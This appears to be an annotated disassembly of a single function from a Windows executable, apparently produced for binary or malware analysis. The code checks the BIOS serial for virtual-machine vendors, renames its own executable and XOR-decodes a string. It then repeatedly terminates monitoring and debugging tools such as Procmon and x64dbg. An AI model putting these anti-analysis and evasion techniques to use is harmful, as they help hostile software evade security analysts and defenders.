Function at 0x140004880
Capabilities:
Encode data using xor
Enumerate processes
Move file
Set console window title
Terminate process

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
mov qword [r11 + 0x18], rdi
push r12
push r14
push r15
sub rsp, 0x720
mov rax, qword [0x1400cf7c0]
xor rax, rsp
mov qword [rsp + 0x710], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x350], xmm0
xor r15d, r15d
mov qword [r11 - 0x3d8], r15
lea r12d, [r15 + 0xf]
mov qword [r11 - 0x3d0], r12
mov byte [r11 - 0x3e8], r15b
lea rdx, [0x1400c2d98]
lea rcx, str.wmic_bios_get_serialnumber
call fcn.14007ba14
mov rbx, rax
test rax, rax
je 0x1400049da
lea edi, [r12 + 0x71]
jmp 0x140004925
lea rax, [rsp + 0x480]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r15b
jne 0x140004907
lea rdx, [rsp + 0x480]
lea rcx, [rsp + 0x350]
call fcn.140006044
mov r8, rbx
mov edx, edi
lea rcx, [rsp + 0x480]
call fcn.14007baf4
test rax, rax
jne 0x1400048fb
mov rcx, rbx
call fcn.14007b93c
lea rdx, str.VMware
lea rcx, [rsp + 0x350]
call fcn.140005f50
cmp rax, 0xffffffffffffffff
jne 0x1400051e2
lea rdx, str.VirtualBox
lea rcx, [rsp + 0x350]
call fcn.140005f50
cmp rax, 0xffffffffffffffff
jne 0x1400051e2
lea rdx, str.QEMU
lea rcx, [rsp + 0x350]
call fcn.140005f50
cmp rax, 0xffffffffffffffff
jne 0x1400051e2
lea rdx, str.Hyper_V
lea rcx, [rsp + 0x350]
call fcn.140005f50
cmp rax, 0xffffffffffffffff
jne 0x1400051e2
lea rdx, [0x1400c2de8]
lea rcx, [rsp + 0x350]
call fcn.140005f50
cmp rax, 0xffffffffffffffff
jne 0x1400051e2
mov rdx, qword [rsp + 0x368]
cmp rdx, r12
jbe 0x140004a1d
inc rdx
mov rcx, qword [rsp + 0x350]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140004a17
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005250
call fcn.140070380
nop
xor ecx, ecx
call fcn.14007bb90
mov qword [rsp + 0x30], rax
mov ecx, eax
call fcn.1400761f4
mov r8d, 0x104
lea rdx, [rsp + 0x500]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x140004a82
lea rdx, str.Error_getting_executable_path:
lea rcx, [0x1400d0e90]
call fcn.1400083a8
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140005d24
mov rcx, rax
call fcn.1400088a4
mov eax, 1
jmp 0x140005222
xorps xmm0, xmm0
movups xmmword [rsp + 0x370], xmm0
mov qword [rsp + 0x380], r15
mov qword [rsp + 0x388], r15
lea rax, [rsp + 0x500]
or r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], r15w
jne 0x140004aa9
lea rdx, [rsp + 0x500]
lea rcx, [rsp + 0x370]
call fcn.140008b2c
lea rcx, [rsp + 0x370]
cmp qword [rsp + 0x388], 7
seta r9b
cmova rcx, qword [rsp + 0x370]
mov rax, qword [rsp + 0x380]
lea r8, [rcx + rax*2]
mov qword [rsp + 0x30], r8
lea rdx, [rsp + 0x370]
test r9b, r9b
cmovne rdx, qword [rsp + 0x370]
mov qword [rsp + 0x30], rdx
lea rcx, [rsp + 0x400]
call fcn.14000892c
lea rcx, [rsp + 0xe8]
call fcn.140004788
mov r8d, 4
lea rdx, str..exe
mov rcx, rax
call fcn.140006044
xorps xmm0, xmm0
movups xmmword [rsp + 0x390], xmm0
mov qword [rsp + 0x3a0], r15
mov qword [rsp + 0x3a8], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x390], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x3a0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r12
mov byte [rax], r15b
lea rcx, [rsp + 0xe8]
call fcn.1400060bc
lea r9, [rsp + 0x390]
cmp qword [rsp + 0x3a8], r12
seta dl
cmova r9, qword [rsp + 0x390]
add r9, qword [rsp + 0x3a0]
mov qword [rsp + 0x30], r9
lea rax, [rsp + 0x390]
test dl, dl
cmovne rax, qword [rsp + 0x390]
mov qword [rsp + 0x30], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x350], xmm0
mov qword [rsp + 0x360], r15
mov qword [rsp + 0x368], r15
cmp rax, r9
jne 0x140004c0a
mov qword [rsp + 0x360], r15
mov eax, 7
mov qword [rsp + 0x368], rax
mov word [rsp + 0x350], r15w
jmp 0x140004c25
sub r9, rax
mov rdx, rax
lea rcx, [rsp + 0x350]
call fcn.140009fd4
mov rax, qword [rsp + 0x368]
lea rdx, [rsp + 0x350]
cmp rax, 7
cmova rdx, qword [rsp + 0x350]
lea rcx, [rsp + 0x370]
cmp qword [rsp + 0x388], 7
cmova rcx, qword [rsp + 0x370]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x140004cca
lea rdx, str.Error_renaming_executable:
lea rcx, [0x1400d0e90]
call fcn.1400083a8
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140005d24
mov rcx, rax
call fcn.1400088a4
lea rcx, [rsp + 0x350]
call fcn.140006fb8
lea rcx, [rsp + 0x390]
call fcn.1400060bc
lea rcx, [rsp + 0x400]
call fcn.1400060bc
lea rcx, [rsp + 0x370]
call fcn.140006fb8
mov eax, 1
jmp 0x140005222
lea rcx, [rsp + 0x350]
cmp qword [rsp + 0x368], 7
cmova rcx, qword [rsp + 0x350]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
test eax, eax
jne 0x140004d5a
lea rdx, str.Error_setting_console_title:
lea rcx, [0x1400d0e90]
call fcn.1400083a8
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140005d24
mov rcx, rax
call fcn.1400088a4
lea rcx, [rsp + 0x350]
call fcn.140006fb8
lea rcx, [rsp + 0x390]
call fcn.1400060bc
lea rcx, [rsp + 0x400]
call fcn.1400060bc
lea rcx, [rsp + 0x370]
call fcn.140006fb8
mov eax, 1
jmp 0x140005222
lea rcx, [rsp + 0x350]
call fcn.140006fb8
lea rcx, [rsp + 0x390]
call fcn.1400060bc
lea rcx, [rsp + 0x400]
call fcn.1400060bc
lea rcx, [rsp + 0x370]
call fcn.140006fb8
nop
lea rcx, [rsp + 0x420]
call fcn.140002064
lea rcx, [rsp + 0x440]
call fcn.140002120
movdqa xmm0, xmmword [0x1400c32f0]
movdqu xmmword [rsp + 0x370], xmm0
mov byte [rsp + 0x380], r15b
mov rcx, r15
mov al, byte [rsp + 0x370]
xor byte [rsp + rcx + 0x371], al
inc rcx
cmp rcx, r12
jb 0x140004dc5
mov byte [rsp + 0x380], r15b
xorps xmm0, xmm0
movups xmmword [rsp + 0x3e0], xmm0
mov qword [rsp + 0x3f0], r15
mov qword [rsp + 0x3f8], r15
lea rax, [rsp + 0x371]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r15b
jne 0x140004e0a
lea rdx, [rsp + 0x371]
lea rcx, [rsp + 0x3e0]
call fcn.140008f60
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x3c8], xmm0
mov qword [rsp + 0x3d8], rax
lea rcx, [rsp + 0x3c8]
call fcn.140002b1c
lea rax, [rsp + 0x3c8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x3e0]
lea r8, [rsp + 0x460]
lea rdx, [rsp + 0x440]
lea rcx, [rsp + 0x420]
call fcn.14000324c
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r15
mov ebx, listen
mov r8d, ebx
lea rdx, str.Procmon.exe
lea rcx, [rsp + 0x40]
call fcn.140008b2c
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
lea r8d, [rbx + 2]
lea rdx, str.Procmon64.exe
lea rcx, [rsp + 0x60]
call fcn.140008b2c
xorps xmm0, xmm0
movups xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x90], r15
mov qword [rsp + 0x98], r15
lea r8d, [rbx + 3]
lea rdx, str.Procmon64a.exe
lea rcx, [rsp + 0x80]
call fcn.140008b2c
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], r15
mov qword [rsp + 0xb8], r15
mov r8d, ebx
lea rdx, str.scammer.exe
lea rcx, [rsp + 0xa0]
call fcn.140008b2c
xorps xmm0, xmm0
movups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xd0], r15
mov qword [rsp + 0xd8], r15
lea r8d, [rbx - 1]
lea rdx, str.x64dbg.exe
lea rcx, [rsp + 0xc0]
call fcn.140008b2c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x3b0], xmm0
mov qword [rsp + 0x3c0], r15
mov ecx, 0xa0
call fcn.140070388
mov rdi, rax
mov qword [rsp + 0x3b0], rax
lea rcx, [rax + 0xa0]
mov qword [rsp + 0x3c0], rcx
lea rbx, [rsp + 0x58]
lea rax, [rsp + 0x58]
mov rsi, rdi
sub rsi, rax
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rsi + rbx + 0x10], r15
mov qword [rsi + rbx + 0x18], r15
lea rdx, [rbx - 0x18]
cmp qword [rbx], 7
jbe 0x140004fcb
mov rdx, qword [rdx]
mov r8, qword [rbx - 8]
mov rcx, rdi
call fcn.14000a804
add rdi, 0x20
add rbx, 0x20
lea rax, [rbx - 0x18]
lea rcx, [rsp + 0xe0]
cmp rax, rcx
jne 0x140004fae
mov qword [rsp + 0x3b8], rdi
mov ebx, 5
lea rdi, [rsp + 0xe0]
sub rdi, 0x20
mov rcx, rdi
call fcn.140006fb8
sub rbx, 1
jne 0x140005005
movabs rdi, 0x7fffffffffffffff
mov r14, qword [rsp + 0x3b8]
mov rbx, qword [rsp + 0x3b0]
cmp rbx, r14
je 0x140005126
xor edx, edx
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000510f
mov dword [rsp + 0x110], 0x238
lea rdx, [rsp + 0x110]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x1400050ec
lea rcx, [rsp + 0x13c]
or rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], r15w
jne 0x14000507c
mov rcx, qword [rbx + 0x10]
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140005097
mov rdx, qword [rbx]
cmp rcx, rax
jne 0x1400050db
test rcx, rcx
je 0x1400050c0
lea r8, [rsp + 0x13c]
movzx eax, word [r8]
cmp word [rdx], ax
jne 0x1400050db
add rdx, 2
add r8, 2
sub rcx, 1
jne 0x1400050a9
mov r8d, dword [rsp + 0x118]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
jne 0x1400050f2
lea rdx, [rsp + 0x110]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140005070
jmp 0x140005106
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 0x20
cmp rbx, r14
jne 0x14000503a
movabs rdi, 0x7fffffffffffffff
lea rcx, [rsp + 0x30]
call fcn.140001f80
movabs rax, 0x7fffffffff67697f
mov rbx, qword [rsp + 0x30]
cmp rbx, rax
jge 0x140005150
add rbx, 0x989680
mov rdi, rbx
jmp 0x140005153
mov rbx, rdi
lea rcx, [rsp + 0x38]
call fcn.140001f80
mov rax, qword [rsp + 0x38]
cmp rax, rdi
movabs rdi, 0x7fffffffffffffff
jge 0x140005021
mov rcx, rbx
sub rcx, rax
movabs rax, 0x4e94914f0000
cmp rcx, rax
jle 0x140005191
mov edx, 0x5265c00
jmp 0x1400051bb
movabs rax, 0x431bde82d7b634db
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x1400051bb
inc rdx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
lea rcx, [rsp + 0x38]
call fcn.140001f80
mov rax, qword [rsp + 0x38]
cmp rax, rbx
jl 0x140005175
jmp 0x140005021
mov rdx, qword [rsp + 0x368]
cmp rdx, r12
jbe 0x140005220
inc rdx
mov rcx, qword [rsp + 0x350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000521b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005250
call fcn.140070380
xor eax, eax
mov rcx, qword [rsp + 0x710]
xor rcx, rsp
call fcn.140070360
lea r11, [rsp + 0x720]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop r12
ret
call fcn.14007c288
int3